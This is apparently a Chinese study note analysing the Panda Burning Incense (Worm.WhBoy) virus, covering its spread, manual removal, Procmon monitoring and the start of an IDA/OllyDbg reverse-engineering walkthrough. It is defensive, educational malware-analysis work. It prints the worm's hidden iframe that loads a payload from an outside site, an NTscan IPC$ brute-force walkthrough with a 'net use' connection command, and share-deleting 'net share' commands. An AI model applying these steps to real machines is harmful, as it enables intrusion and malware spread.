熊猫烧香病毒的行为机理分析

熊猫烧香是Windows PE病毒,属于捆绑释放型。具体有关PE病毒的知识参照我写的另一篇笔记 Windows PE病毒分类及感染方式

熊猫烧香是一款非常具有代表性的病毒,当年造成了非常大的影响,并且也有一定的技术手段。用它来入门恶意样本分析是非常适合的,所以就拿它来开刀了。

1. 熊猫烧香的前因后果

熊猫烧香(Worm.WhBoy)是一款拥有自动传播、自动感染硬盘能力和强大的破坏能力的病毒,它不但不能感染系统中的EXE、COM、PIF、SRC、HTML、ASP等文件,还能中止大量的反病毒软件进程,并且会删除扩展名为gho的文件,是系统备份工具GHOST的备份文件。被感染的用户系统中所有EXE文件的图标全部被改成熊猫烧香。

2006年10月16日由25岁的湖北武汉李俊编写,2007年1月初肆虐网络,主要通过下载的文件传染传播。

熊猫烧香的破坏力远大于其技术含量,尤其是对网络信息安全产生深远的影响,毕竟它是第一个让中国普通用户对木马病毒有所认识和感知的。从现在的技术角度看,熊猫烧香病毒技术水平一般,但病毒作者在当时运用的各类技术手法还是值得参考和借鉴的。

  • 首先它可以感染EXE文件,也可以将扩展名为gho的文件删除
  • 其次是将源病毒感染到Web文件,使网页成为它传播的介质
  • 然后在传播层面,病毒作者使用众多传播途径
  • 最后是具备一定的对抗杀软能力

熊猫病毒如果是放在现在,这些基本都是所有病毒木马常见、必备的技术,但技术不可同日而语。随着人工智能、大数据、云计算、区块链等先进技术不断发展,病毒作者也将这些技术手段运用到各类安全攻击中危害用户。典型的包括:

  • 勒索病毒:在2017年5月12日,一款名为WannaCry勒索病毒通过MS17-010漏洞在全球范围大爆发,感染了大量计算机。此后,Petya、Bad Rabbit、Globelmposter等勒索病毒相继对企业及机构发起攻击。
  • 挖矿木马:伴随着比特币等虚拟数字货币交易火爆的同时,越来越多的人利用数字虚拟币交易大发横财,吸引大量黑产从业人员进入挖矿产业,这也是为什么2017年之后披露的挖矿木马攻击事件数量呈现出爆发式的增长。
  • APT攻击:当前鱼叉攻击、水坑攻击、远程可执行漏洞和密码爆破攻击等手段依然是APT攻击的最主要方式。未来,Fileless攻击、将通信的C&C服务器存放在公开的社交网站上、使用公开或者开源工具、多平台攻击和跨平台攻击将成APT攻击技术的主要发展趋势。
  • IoT攻击:黑客通常通过设备弱口令或者远程命令执行漏洞对IoT设备进行攻击,攻击者通过蠕虫感染或者自主的批量攻击来控制批量目标设备,构建僵尸网络,IoT设备成为了黑客最新热爱的武器。

除此之外,供应链攻击、AI对抗样本、视频语音欺骗等攻击延伸都是未来黑客技术的发展趋势,这些都应该引起我们足够的重视。

2. 样本行为分析

熊猫烧香有它的特殊性,也有它的通用性。

2.1 自启动方式

  • 熊猫烧香病毒将自身拷贝至系统目录,同时修改注册表将自身设置为开机启动项。

    这种方式也是绝大部分病毒自启动所采用的方式。

  • 拷贝自身到所有驱动器根目录(盘符),命名为setup.exe,在驱动器根目录生成autorun.inf文件,并把它设置为隐藏、只读、系统。

    autorun.inf文件的作用是允许在双击磁盘时自动运行指定的某个文件,即运行setup.exe

注意,该setup.exe文件被设置为隐藏、只读、系统,虽然我们可以查看“隐藏的项目”,但某些隐藏的系统文件仍然是看不到的。

我们需要进一步设置,取消勾选“隐藏保护的操作系统文件”,才能显示这类文件,如下图所示。而通常设置为隐藏的系统文件是较难被觉察的,尤其当这类文件被写入到某个指定的操作系统目录中,防不胜防。

2.2 感染与传播方式

  • 感染可执行文件

    熊猫烧香病毒会搜索并感染系统中特定目录外的所有EXE / SCR / PIF / COM等文件,将自身捆绑在被感染文件前端,并在尾部添加标记信息:.WhBoy{原文件名}.exe.{原文件大小}。注意,它感染的是特定目录外的,而某些系统目录是不去感染的,因为Windows系统某些可执行文件是有还原机制的,系统文件修改有时候会有报警提示。

  • 感染网页

    熊猫烧香病毒会查找系统以.html.asp为后缀的文件,在里面插入网页标记,这个帧iframe会将另外一个URL嵌入到当前网页,并且宽度和高度设置为0(看不到)。嵌入页面后会利用如IE浏览器的漏洞来触发恶意代码,从而释放相应病毒出来。

    1
    <iframe src=http://www.ac86.cn/66/index.htm width="0" height="0"></iframe>
  • 通过弱口令传播

    这种传播方式非常普遍,它会访问局域网共享文件夹将病毒文件拷贝到该目录下,并改名为GameSetup.exe(模拟游戏名称);通过弱口令猜测从而进入系统C盘。

2.3 自我隐藏

  • 禁用安全软件

    熊猫烧香病毒会尝试关闭安全软件(杀毒软件、防火墙、安全工具)的窗口、进程,比如包含360的名称等;删除注册表中安全软件的启动项;禁用安全软件的服务等操作。

  • 自动恢复“显示所有文件和文件夹”选项隐藏功能

    某些用户去看隐藏文件,会主动点击查看隐藏文件夹,但这个病毒会自动恢复隐藏。

  • 删除系统的隐藏共享(net share)

    Windows系统其实默认会开启隐藏共享 C$ ,比如早期的 IPC$ 管道等,通过net share命令可以删除隐藏共享。

在未经授权的情况下很难将木马拷贝到别人的电脑上,这里需要利用 IPC$ 漏洞,调用445端口号实现。445端口中有个 IPC$ ,称之为空连接,没有固定文件夹的共享;而 C$ 、D$ 、E$ 代表分区共享,是有固定文件夹的。换句话说,445端口打开就相当于我们可以在局域网中轻松访问各种共享文件夹,如果您的电脑是弱密码,很容易就被攻破,这里使用 IPC$ 暴力爆破。

IPC$ (Internet Process Connection) 是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。IPC$ 是NT2000的一项新功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接。NT2000在提供了 IPC$ 功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(C$ 、D$ 、E$、…)和系统目录(C:\windows)共享。所有的这些初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者会利用IPC$访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测。

下图展示了使用NTscan软件暴力爆破,该软件支持远程连接 IPC$ 和利用字典文件。运行软件,输入IP地址“10.1.1.2”,选择IPCscan连接共享“IPC$”,成功获取了密码“123.com”。

接着与目标主机建立 IPC$ 空连接。

1
net use \\10.1.1.2\ipc$ 123.com /user:administrator

2.4 破坏功能

  • 熊猫烧香病毒同时会开另一个线程连接某网站下载DDOS程序进行发动恶意攻击

    具有破坏功能,可开启附件攻击行为,熊猫烧香感染计算机台数非常多,它就能发动多台电脑发起DDOS攻击。

  • 删除扩展名为gho的文件,延长存活时间

    该文件是系统备份工具GHOST的备份文件,从而使用户的系统备份文件丢失。当用户中了病毒,想去恢复时就存在困难了。

这就是一个典型的病毒案例,现在很多病毒功能都具有相似性,它们有经济利益趋势。当然对于不同的病毒来说,如果它们的目的不一样,其行为会存在很大差异。熊猫烧香病毒的隐蔽性不是很好,每一个感染者都会知道自己已被感染。

3. 样本运行及查杀防御

手动查杀病毒基本流程如下:

  • 排查可疑进程

    因为病毒往往会创建出来一个或者多个进程,因此需要分辨出哪些进程是由病毒所创建,然后删除可疑进程。

  • 检查启动项

    病毒为了实现自启动,会采用一些方法将自己添加到启动项中,从而实现自启动,所以我们需要把启动项中的病毒清除。

  • 删除病毒

    在上一步的检查启动项中,我们就能够确定病毒主体的位置,这样就可以顺藤摸瓜,从根本上删除病毒文件。

  • 修复被病毒破坏的文件

    这一步一般来说无法直接通过纯手工完成,需利用相应的软件,不是我们讨论的重点。

为什么计算机中安装了杀毒软件,还要去手动查杀呢?

因为杀毒软件存在严重的滞后性,必须要等病毒工程师抓取对应样本,并进行分析总结病毒的特征码,再加入杀软病毒库后才能识别病毒,但病毒会存在各种变种,因此手动查杀也是必要的。同时,这对反病毒工程师来说也是认识和熟悉病毒的过程,在技术上是非常必要的。这也是现在为什么很多云沙箱、云杀软、动态更新的技术不断出现。

3.1 排查可疑进程

运行病毒前打开任务管理器观察此时打开的进程。

运行熊猫烧香样本,可以发现任务管理器就自动关闭,并且无法再次打开(总一闪而过)。那么,我们怎么查看系统中的进程呢?打开CMD命令提示符,输入命令“tasklist”查看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
Microsoft Windows [版本 6.1.7601]
版权所有 (c) 2009 Microsoft Corporation。保留所有权利。

C:\Users\Leong>tasklist

映像名称 PID 会话名 会话# 内存使用
========================= ======== ================ =========== ============
System Idle Process 0 Services 0 24 K
System 4 Services 0 612 K
smss.exe 244 Services 0 796 K
csrss.exe 332 Services 0 4,228 K
csrss.exe 384 Console 1 19,856 K
wininit.exe 392 Services 0 3,904 K
winlogon.exe 428 Console 1 5,748 K
services.exe 488 Services 0 7,028 K
lsass.exe 496 Services 0 7,744 K
lsm.exe 512 Services 0 4,508 K
svchost.exe 596 Services 0 7,060 K
svchost.exe 672 Services 0 6,208 K
svchost.exe 764 Services 0 13,072 K
svchost.exe 808 Services 0 8,620 K
svchost.exe 840 Services 0 26,444 K
svchost.exe 980 Services 0 10,328 K
svchost.exe 1048 Services 0 12,412 K
spoolsv.exe 1200 Services 0 8,544 K
svchost.exe 1228 Services 0 10,708 K
httpd.exe 1332 Services 0 17,104 K
VGAuthService.exe 1444 Services 0 7,248 K
taskhost.exe 1548 Console 1 7,620 K
dwm.exe 1604 Console 1 58,972 K
explorer.exe 1612 Console 1 57,228 K
httpd.exe 1740 Services 0 17,272 K
vmtoolsd.exe 1792 Services 0 15,804 K
svchost.exe 1432 Services 0 4,768 K
vm3dservice.exe 1496 Console 1 3,664 K
vmtoolsd.exe 1480 Console 1 20,996 K
jusched.exe 2140 Console 1 4,040 K
ApacheMonitor.exe 2224 Console 1 3,584 K
dllhost.exe 2244 Services 0 8,788 K
msdtc.exe 2408 Services 0 6,272 K
WmiPrvSE.exe 2660 Services 0 11,264 K
SearchIndexer.exe 2692 Services 0 34,036 K
svchost.exe 3296 Services 0 3,712 K
sppsvc.exe 3332 Services 0 7,360 K
svchost.exe 3368 Services 0 6,296 K
audiodg.exe 2384 Services 0 14,140 K
SearchProtocolHost.exe 3744 Services 0 6,240 K
SearchFilterHost.exe 4084 Services 0 4,204 K
spoclsv.exe 2268 Console 1 5,960 K
cmd.exe 3252 Console 1 2,640 K
conhost.exe 2348 Console 1 6,880 K
tasklist.exe 2968 Console 1 4,492 K

重点关注会话值为1的进程,发现spoclsv.execmd.execonhost.exetasklist.exe都没出现过。cmd.exetasklist.exe都是我们操作过的命令,可以不管。百度conhost.exe是命令行程序的宿主进程,非病毒木马;spoclsv.exe是熊猫烧香病毒相关程序。

输入以下命令强制结束进程:

1
taskkill /f /im 2268	#强制结束PID为2268的进程

其中“/f”表示强制执行,“/im”表示文件镜像,“2268”对应PID值。注意,使用普通用户执行命令不能结束该进程,需使用管理员权限。

此时,任务管理器又可以打开了。

3.2 检查启动项

排查可疑进程之后,接下来查询启动项,徽标键 + R -> 输入msconfig。显示如下图所示,可以看到“svcshare”启动项。命令为C:\WINDOWS\System32\drivers\spoclsv.exe,位置在HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

徽标键 + R -> 输入regedit,打开注册表。在注册表搜索“svcshare”找到了它,也就是说这个病毒也会写进注册表里,启动对应的EXE程序。

先将病毒的启动项取消,回到系统配置中取消勾选“svcshare”启动项,暂不重新启动计算机。

回到注册表中看,病毒写入注册表的信息已经消失了,说明启动项已经成功被删除。

3.3 删除病毒

对于病毒程序,我们要使用强制删除。同样,用管理员权限打开命令窗口,进入到病毒所在目录,执行以下命令强制删除。

1
del /f spoclsv.exe

但这还没有结束,该病毒还将自身复制到每一个磁盘的根目录下。在C盘根目录下查看隐藏、只读、系统文件。

1
dir /ah

根据样本行为分析中的自启动方式看,autorun.infsetup.exe都是这个病毒带过来的。所以要将它们强制删除。

1
2
del /ah /f antorun.inf
del /ah /f setup.exe

注意,是每一个磁盘都要删除autorun.infsetup.exe

重启系统后,所有手动查杀病毒的工作完毕,我们的系统就又恢复正常了。

4. Procmon检测病毒行为

4.1 软件介绍

Process Monitor是微软推荐的一款系统监视工具,能够实时显示文件系统、注册表(读写)、网络连接与进程活动的高级工具。它整合了旧的Sysinternals工具、Filemon与Regmon,其中Filemon专门用来监视系统中的任何文件操作过程,Regmon用来监视注册表的读写操作过程。同时,Process Monitor增加了进程ID、用户、进程可靠度等监视项,可以记录到文件中。

总的来说,Process Monitor可以帮助使用者对系统中的任何文件、注册表操作进行监视和记录,通过注册表和文件读写的变化,有效帮助诊断系统故障或发现恶意软件、病毒及木马。

4.2 病毒行为检测

打开Procmon,Filter -> Filter(快捷键Ctrl + L),添加过滤病毒名称setup.exe

运行熊猫烧香setup.exe,可以看到Procmon捕获了非常多的病毒信息。

Tools -> Process Tree(快捷键Ctrl + T),查看病毒的进程树。

可以看到setup.exe的熊猫烧香病毒程序,并衍生出一个spoclsv.exe程序。位置信息为:C:\WINDOWS\system32\drivers\spoclsv.exe

发现spoclsv.exe程序两次打开cmd,运行“net share”命令删除各个磁盘共享及系统根目录共享。

1
2
net share C$ /del /y		#删除C盘下的默认共享
net share admin$ /del /y #删除C:\WINDOWS远程管理

回到Procmon继续深入分析,关闭其它结果,只剩下注册表行为。

接着在过滤器中仅筛选对注册表修改的值,如下图所示。

主要修改的是Seed项,就是随机数种子的生成。但仅仅通过这个信息无法推测注册表的行为,所以该病毒对注册表并没有造成什么实质性影响。

在过滤器中删除注册表的修改,然后检测熊猫烧香病毒是否创建文件,创建文件也是病毒的重要手段。

可以看到主要创建的文件是C:\WINDOWS\system32\drivers目录下,其它并没有特别的东西。所以setup.exe程序对我们的系统并没有实质性影响,主要影响还是spoclsv.exe程序,所以下一步操作就是监控spoclsv.exe程序。

重置过滤器,设置对spoclsv.exe程序的监控。在过滤器中查看spoclsv.exe删除注册表选项。

从这些名称可以看出它们都是常用的杀毒软件名称,其位置是CurrentVersion的Run下面,也就是将杀毒软件的自启动项全部删除。

在过滤器中查看spoclsv.exe创建及设置的注册表键值。

显示结果如下图所示,病毒设置了自启动项,要启动的本体是drivers目录下的spoclsv.exe。继续查看,发现它对文件实现隐藏,设置该值后,即使我们在文件夹选项中选择显示所有文件和文件夹,也无法显示隐藏文件。

只显示spoclsv.exe的文件系统行为。

熊猫烧香病毒创建文件包括:

  • C:\WINDOWS\system32\drivers中创建spoclsv.exe
  • 磁盘根目录创建setup.exeautorun.inf
  • 某些目录中创建Desktop_.ini文件

由于创建这些文件之后就对注册表的SHOWALL项进行了设置,使得隐藏文件无法显示,那么有理由相信,所创建出来的这些文件的属性都是“隐藏”的。

查看spoclsv.exe的网络行为。从监控结果可以看到,病毒会向局域网发送并接收信息,并不断尝试向外进行连接和发送数据包。

综上所述,可以总结熊猫烧香的几个行为:

  1. C:\WINDOWS\system32\drivers目录创建spoclsv.exe程序
  2. 命令行模式下使用“net share”解除共享功能
  3. 删除安全类软件在注册表中自启动项
  4. 在注册表CurrentVersion\Run创建svcshare自启动项,每次开机时会自动运行病毒
  5. 禁用文件夹隐藏选项,修改注册表使得隐藏文件无法通过普通设置显示,从而隐藏病毒自身
  6. 将自身拷贝到每个磁盘的根目录下并命名为setup.exe,创建autorun.inf用于病毒的启动,这两个文件的属性都是“隐藏”。同时,会创建Desktop_.ini隐藏文件
  7. 向局域网发送并接收信息,并不断尝试向外进行连接和发送数据包

我们已经基本分析了熊猫烧香的病毒行为,但这些行为仍然无法彻底了解病毒的行为,还需要通过OllyDbg逆向分析和IDA静态分析来实现。同时,熊猫烧香病毒还有一些其他的行为,包括:

  • 感染EXE文件,病毒会搜索并感染系统中特定目录外的所有EXE/SCR/PIF/COM文件,并将EXE执行文件的图标改为熊猫烧香的图标。
  • 试图用以弱口令访问局域网共享文件夹,如果发现弱口令共享,就将病毒文件拷贝到该目录下,并改名为GameSetup.exe,以达到通过局域网传播的功能。
  • 查找系统以.html.asp为后缀的文件并在里面插入iframe,该网页中包含在病毒程序,一旦用户使用了未安装补丁的IE浏览器访问该网页就可能感染该病毒。
  • 删除扩展名为gho的文件,该文件是系统备份工具GHOST的备份文件,这样可使用户的系统备份文件丢失。

5. 动静结合分析样本——病毒初始化

栈上给局部变量分配空间的时候,栈是向下增长的,而栈上的数组、字符串、结构体等却是向上增长的。理解这一点可以帮助识别栈上的变量。

在分析病毒之前,首先需要调用工具检查病毒是否带壳,如果带壳还需要先进行脱壳操作。程序无壳,采用Borland Delphi 6.0-7.0编写的32位EXE文件。

先将样本载入IDA,查看伪代码。

由于我第一次分析样本,所以这个样本我会事无巨细地分析,看看我能分析到什么程度。

1
void __noreturn start()

样本主函数的第1行代码,__noreturn关键字,顾名思义,不返回,表明调用完成后函数不返回主调函数。注意,这与 void 返回类型不同。void 类型的函数在执行完毕后返回主调函数,只是它不提供返回值。这太容易理解了,因为start()本身就是主调函数,还能返回到哪里去?

第17行代码的sub_40CA98()函数如下:

1
2
3
4
5
6
int __stdcall sub_40CA98(int a1, int a2, int a3, int a4, int a5, int a6, int a7, int a8, int a9, int a10, int a11, int a12, int a13, int a14, int a15, int a16)
{
void *retaddr[2]; // [sp+0h] [bp+0h]@1

return MK_FP(retaddr[0], retaddr[0])(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16);
}

__stdcall函数调用约定的一种,它的主要特征是:

  • 参数都是从右向左通过堆栈传递
  • 函数的堆栈平衡操作是由被调用函数执行的,比如函数调用在返回前要由被调用函数清理堆栈
  • 在函数名的前面用下划线修饰,在函数名的后面由@来修饰并加上栈需要的字节数的空间,比如_sumExample@8

函数调用约定主要约束了两件事:

  1. 参数的传递顺序
  2. 调用堆栈由谁(调用函数或被调用函数)清理

常见的函数调用约定有:__stdcall__cdecl__fastcall__thiscall__nakedcall__passcal__vectorcall

sub_40CA98()中,传入了16个整型变量,在压栈过程中,顺序应该为:

1
2
3
4
push a16
push a15
...
push a1

最后也是由sub_40CA98()函数pop这16个整型变量。

双击该函数中的void *retaddr[2];弹出一个Stack of sub_40CA98窗口,对该定义变量进行了一些说明。

“*”表示一个数组。使用数据定义命令创建局部变量和函数参数。两个特殊字段“r”和“s”表示返回地址和保存的寄存器。

void *retaddr[2];表示定义了一个有2个元素的数组,它的BP(基址指针寄存器)从偏移为0开始,SP(堆栈指针寄存器)从偏移为0开始。

MK_FP是一个宏,功能是做段基址加上偏移地址的运算,也就是取实际地址。其函数原型为:

1
#define MK_FP( seg,ofs )( (void _seg * )( seg ) +( void near * )( ofs ))

在该函数中,MK_FP如果想要retaddr[]作为参数传入,MK_FP第1个括号中的两个参数都应该填数组的首地址(因为seg=[BP+0],刚好是数组的首地址;ofs=[SP+0],也是数组的首地址)。后面跟着的参数的偏移地址在此基础上往上递增。

鼠标移到变量a1会发现它的偏移为[BP+8] [SP+8],说明retaddr[]共占8个字节,里面的两个元素很有可能也是int类型。

第17行代码的sub_4049E8()函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __usercall sub_4049E8@<eax>(int a1@<eax>, int a2@<ebp>)
{
int v2; // ebx@1
HMODULE v3; // eax@1

v2 = a1;
TlsIndex = 0;
v3 = GetModuleHandleA(0);
dword_40E650 = (int)v3;
dword_40D0B8 = (int)v3;
dword_40D0BC = 0;
dword_40D0C0 = 0;
sub_4049DC();
return sub_403980(v2, (int)&unk_40D0B4, a2);
}

__usercall表示用户自定义函数调用约定,用户可以显式指定参数和返回值的位置。比如:

1
int __usercall sub_4049E8@<eax>(int a1@<eax>, int a2@<ebp>)

表示函数有两个参数:第一个参数通过eax寄存器传递,第二个参数通过ebp寄存器传递,返回值保存在eax寄存器中。

用户自定义函数调用约定的一般规则如下:

  • 返回值必须位于寄存器中

  • 如果返回值类型是void,不能指定返回值的位置

  • 如果参数的位置没有指定,假设参数通过堆栈传递

  • 可以允许嵌套声明,如:

    1
    int **__usercall func16@<eax>(int *(__usercall *x)@<ebx> (int, long@<ecx>, int)@<esi>);
  • 用于指定位置名的寄存器必须在当前处理器中有效

  • 寄存器对可以像这样 \ 用冒号的形式指定

  • 由调用者清理堆栈

该函数的第8行代码有一个API函数,原型为:

1
2
3
HMODULE GetModuleHandleA(
[in, optional] LPCSTR lpModuleName
);

功能是加载模块的名称(.dll或.exe文件)。如果省略了文件名扩展名,则将附加默认库扩展名.dll。文件名字符串可以包括一个尾点字符(.),以指示模块名称没有扩展名。字符串不必指定路径。指定路径时,请确保使用反斜线(\),而不是正斜线(/)。将名称(大小写独立)与当前映射到调用过程地址空间的模块的名称进行比较。

如果lpModuleName参数为null,则GetModuleHandle()将返回用于创建调用过程(.exe文件)的文件的句柄。

如果函数成功,则返回值是指定模块的句柄。如果函数失败,则返回值为null。

1
2
3
4
dword_40E650 = (int)v3;
dword_40D0B8 = (int)v3;
dword_40D0BC = 0;
dword_40D0C0 = 0;

这些是写入数据段的操作,暂时可以不管。

再看sub_4049DC()函数:

1
2
3
4
5
6
7
8
9
10
11
_DWORD *sub_4049DC()
{
return sub_4046F0(&unk_40D0B4);//将40D0B4这个地址作为参数传入
}

_DWORD *__usercall sub_4046F0@<eax>(_DWORD *result@<eax>)
{
*result = dword_40D028; //在40D0B4地址中存入40D028地址的数据
dword_40D028 = (int)result; //在40D028地址中存入40D0B4这个地址
return result;
}

这个函数的功能是把地址40D0B4作为媒介,使得40D028能通过40D0B4找回自己原本存的值。

sub_403980()函数:

1
2
3
4
5
6
7
8
9
10
11
12
int __usercall sub_403980@<eax>(int a1@<eax>, int a2@<edx>, int a3@<ebp>)
{
dword_40E010 = (int)RaiseException;
dword_40E014 = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD))RtlUnwind;
dword_40E628 = a1;
dword_40E62C = 0;
dword_40E630 = a2;
dword_40E01C = *(_DWORD *)(a2 + 4);
sub_403878(a3);
byte_40E024 = 0;
return sub_403920();
}

RaiseException()是用来抛出一个调用线程时发生的异常。

RtlUnwind()遍历访问异常帧链表,把从表头帧到目标帧(不含)的所有异常处理回调函数用异常码(STATUS_UNWIND 即0C0000027H)、异常标志(EXCEPTION_UNWINDING即值2)调用。

下面等等那些函数基本不用看了(我累了),因为我们发现一整个sub_4049E8()函数只是在进行初始化操作。一般入口第一个函数就是做初始化操作的。

回到主函数的__readfsdword()

1
2
3
unsigned long __readfsdword( 
unsigned long Offset
);

参数:从最初读取的 FS 的偏移量。

返回值:字节、字、双字或多次字长的内存内容 (如指示名为调用的函数) 在位置 FS:[Offset]。

__writefsdword()

1
2
3
4
void __writefsdword( 
unsigned long Offset, //从最初 FS 的偏移量写入
unsigned long Data //要写入的值
);

5.1 sub_403C98函数分析

主函数调用了两次sub_403C98(),那先来看它传入的参数是什么类型的。

1
2
sub_403C98((volatile signed __int32 *)&dword_40E7D4, (signed __int32)dword_40CC40);
sub_403C98((volatile signed __int32 *)&unk_40E7D8, (signed __int32)dword_40CC6C);

volatile关键字的作用是:编译器在用到这个关键字修饰的变量时必须每次都重新读取这个变量的值,而不是使用保存在寄存器里的备份。

第一个参数是整数指针类型,在BSS段;第二个参数是整型,移到它上面能看到它是一个整型数组,在CODE段。

BSS(Block Started by Symbol)通常是指用来存放程序中未初始化的全局变量和静态变量的一块内存区域。特点是可读可写,在程序执行之前BSS段会自动清0。所以,未初始的全局变量在程序执行之前已经成0了。

CODE段,代码段又称文本段,用来存放指令,运行代码的一块内存空间,此空间大小在代码运行前就已经确定,内存空间一般属于只读,某些架构的代码也允许可写。在代码段中,也有可能包含一些只读的常数变量,例如字符串常量等。

点进sub_403C98()查看函数调用约定,用的__usercall修饰,第一个参数存入eax,第二参数存入edx,返回值存入eax。

1
volatile signed __int32 *__usercall sub_403C98@<eax>(volatile signed __int32 *result@<eax>, signed __int32 a2@<edx>)

现在看第一个sub_403C98()&dword_40E7D4表示将地址40E7D4存入eax,dword_40CC40表示将地址40CC40的内容存入edx。那么地址40CC40中的内容是什么呢?需要用OD进行调试。

可以看到“武汉男生感染下载者”等等一些内容,这就是病毒作者的信息。早些年病毒作者出于炫耀目的,都会加入一些自己的特征。同样,现在APT攻击溯源也会通过文件路径等获取病毒作者的信息。

接下来进入这个函数分析,看IDA真的折磨,先把几个系统调用的东西看懂了。

__OFADD__是一个宏,它的作用是测试两个数相加是否溢出,返回溢出标志位;__OFSUB__同理。

_InterLockedIncrement()_InterLockedDecrement()的功能是实现数的原子性加减。

1
2
3
4
5
6
7
long _InterlockedIncrement(
long volatile * lpAddend //[in,out]指向要递增的变量的指针,返回值是生成的递增值
);

long _InterlockedDecrement(
long volatile * lpAddend //[in, out]指向要减数的变量的易失指针,返回值是生成的递减值
);

_InterlockedExchange()函数:

1
2
3
4
long _InterlockedExchange(
long volatile * Target,
long Value
);

相关参数:

  • Target:[in,out]指向要交换的值的指针。 此函数会将此变量设置为Value并返回其之前的值。
  • Value:[in]要与指向的值交换的值Target

返回值:返回由Target指向的初始值。

为了观察sub_403C98()函数的执行过程,最好结合IDA和OD一步步调试。sub_403C98()中有三个函数:

  1. sub_403D08()
  2. sub_402650()
  3. sub_402540()

5.1.1 sub_403D08

将eax和edx入栈,进入函数sub_403D08()

sub_403D08()中有一个函数,进入函数sub_402520()sub_402520()中有两个函数:sub_401F4C()sub_402608()

进入sub_401F4C(),再进入sub_401860()

sub_401860()中,有几个API函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
VOID InitializeCriticalSection(			//初始化一个临界资源对象
LPCRITICAL_SECTION lpCriticalSection //临界资源对象指针
);

VOID EnterCriticalSection( //进入临界区
__inout LPCRITICAL_SECTION lpCriticalSection
);

VOID LeaveCriticalSection( //离开临界区
_Inout_LPCRITICAL_SECTION lpCriticalSection
);

HLOCAL LocalAlloc( //堆中分配指定大小的字节数
UINT uFlags,
UINT uBytes
);//返回值:成功则返回一个指向新分配的内存对象的句柄。

相关的多线程数据操作函数有:

1
2
3
4
5
6
InitializeCriticalSection(&cs);//初始化临界区
EnterCriticalSection(&cs);//进入临界区
//操作数据
MyMoney*=10;//所有访问MyMoney变量的程序都需要这样写Enter.. Leave...
LeaveCriticalSection(&cs);//离开临界区
DeleteCriticalSection(&cs);//删除临界区

由于临界资源做的是原子操作,不可能人为把它们分开,所以sub_401860()可以不用管,这个函数只是分配一定大小的内存空间而已。

回到sub_401F4C(),发现又有EnterCriticalSection()LeaveCriticalSection(),通常它们都是成对出现的,它们之间进行的是原子操作,所以sub_401F4C()也可以不看了。

回到sub_402520(),在执行的过程跳过了sub_402608()函数,可以先在call指令处下个断点,等下次如果运行到这里时可以知道经过了这个函数。

由于sub_403D08()中只有sub_402520(),而sub_402520()也没有其它函数了,所以sub_403D08()基本可以排除它的嫌疑了,它的功能就是分配一定大小的内存空间。

5.1.2 sub_402650

在IDA中可以看到sub_402650()的功能是字符串拷贝。

sub_402540()这个函数被跳过了,先不管。

5.1.3 总结

根据上面的分析,可以暂时发现sub_403C98()这个函数有两个功能:

  • 分配一定大小的内存空间
  • 将字符串拷贝到分配好的内存空间去

第二个sub_403C98()显示的字符串是“感谢艾玛…”,也可以帮我们收集病毒制作者的信息。

为了易于观察,可以在IDA中将sub_403C98()命名为AllocStackAndCopyString(),便于我们理解及分析整个病毒。

5.2 sub_405360函数分析

主函数也调用两次sub_405360()

1
2
sub_405360((int)dword_40CCA4, (int)"xboy", (volatile signed __int32 *)&v9);
sub_405360((int)dword_40CCE0, (int)"whboy", (volatile signed __int32 *)&v8);

第一个参数是整型数组,位于CODE段;第二个参数是字符数组,位于CODE段;第三个是整型指针变量,点进去可以看到它的基本信息。

进去sub_405360()查看它的函数调用约定:

1
int __usercall sub_405360@<eax>(int a1@<eax>, int a2@<edx>, volatile signed __int32 *a3@<ecx>)

是用户自定义函数调用,第一个参数存入eax,第二个参数存入edx,第三个参数存入ecx,返回值存入eax。

sub_403C98()一样步骤,查看几个参数的值,再进去分析这个函数做了什么。

5.2.1 sub_403ECC

根据分析,sub_403ECC()前面的call都是进行初始化寄存器的操作,可以不管。

进入到sub_403ECC()后,eax的值从字符串变为0x20。

想弄清楚这个0x20是怎么来的,结果发现样本载入OD时数据窗口就已经存有了0x20。再仔细看数据窗口,结合“xboy”前4个字节的值是4,不难猜测那一串字符的前4个字节的值0x20是字符串的长度。所以这个函数勉强可以算为求字符串的长度,将它更名为StringLen()

其实,凡是由Delphi编写的程序,它会在字符串-4的位置保存这个字符串的长度。

5.2.2 进入循环

这里面有几个陌生的指令,先学习一下。

cdq:使用eax的最高位扩展edx的所有位,将eax扩展为64位,edx:eax

div:无符号除法,被除数为eax,结果的商存放在eax中,余数存放在edx中

idiv:有符号除法,在32位系统中进行64 / 32位除法,即被除数为64位,除数为32位。结果的商存放在eax中,余数存放在edx中

movzx:一般用于将较小值拷贝到较大值中

第一次循环运行到sub_403E2C()后,分析如下:

5.2.2.1 sub_403E2C

进入sub_403E2C()后发现有sub_403D34()函数。

再进去,发现这几个函数我们上面都有分析过,总体来说是进行字符串拷贝操作,所以将sub_403D34()命名为StringCopy()

返回到父函数,继续看下一个。

5.2.2.2 sub_403ED4

sub_403ED4()中,有一个跳转实现了,去到sub_403C98(),这不就是我们上面分析的主函数的第一个函数吗,它的作用是分配内存空间和字符串拷贝。

此时,eax的值为0x13FF80,edx的值为0xB10068,执行sub_403C98()的意思是将地址B10068拷贝到地址13FF80中去。

跳转未实现,需要进入sub_4041FC()函数进行分析。

1
int __usercall sub_4041FC@<eax>(char **a1@<eax>, int a2@<edx>, int a3@<ecx>)

eax中存的内容是ecx的值的地址。进去发现有4个子函数:sub_402560()sub_403D08()sub_402650()sub_403C44()。后面三个前面已经分析过了,分别是分配一定大小的内存空间、字符串拷贝、初始化寄存器。

现在看sub_402560()

1
_DWORD *__usercall sub_402560@<eax>(_DWORD *result@<eax>, int a2@<edx>)

进去里面发现又是对临界资源的操作,可以不管,回到父函数sub_403ED4()

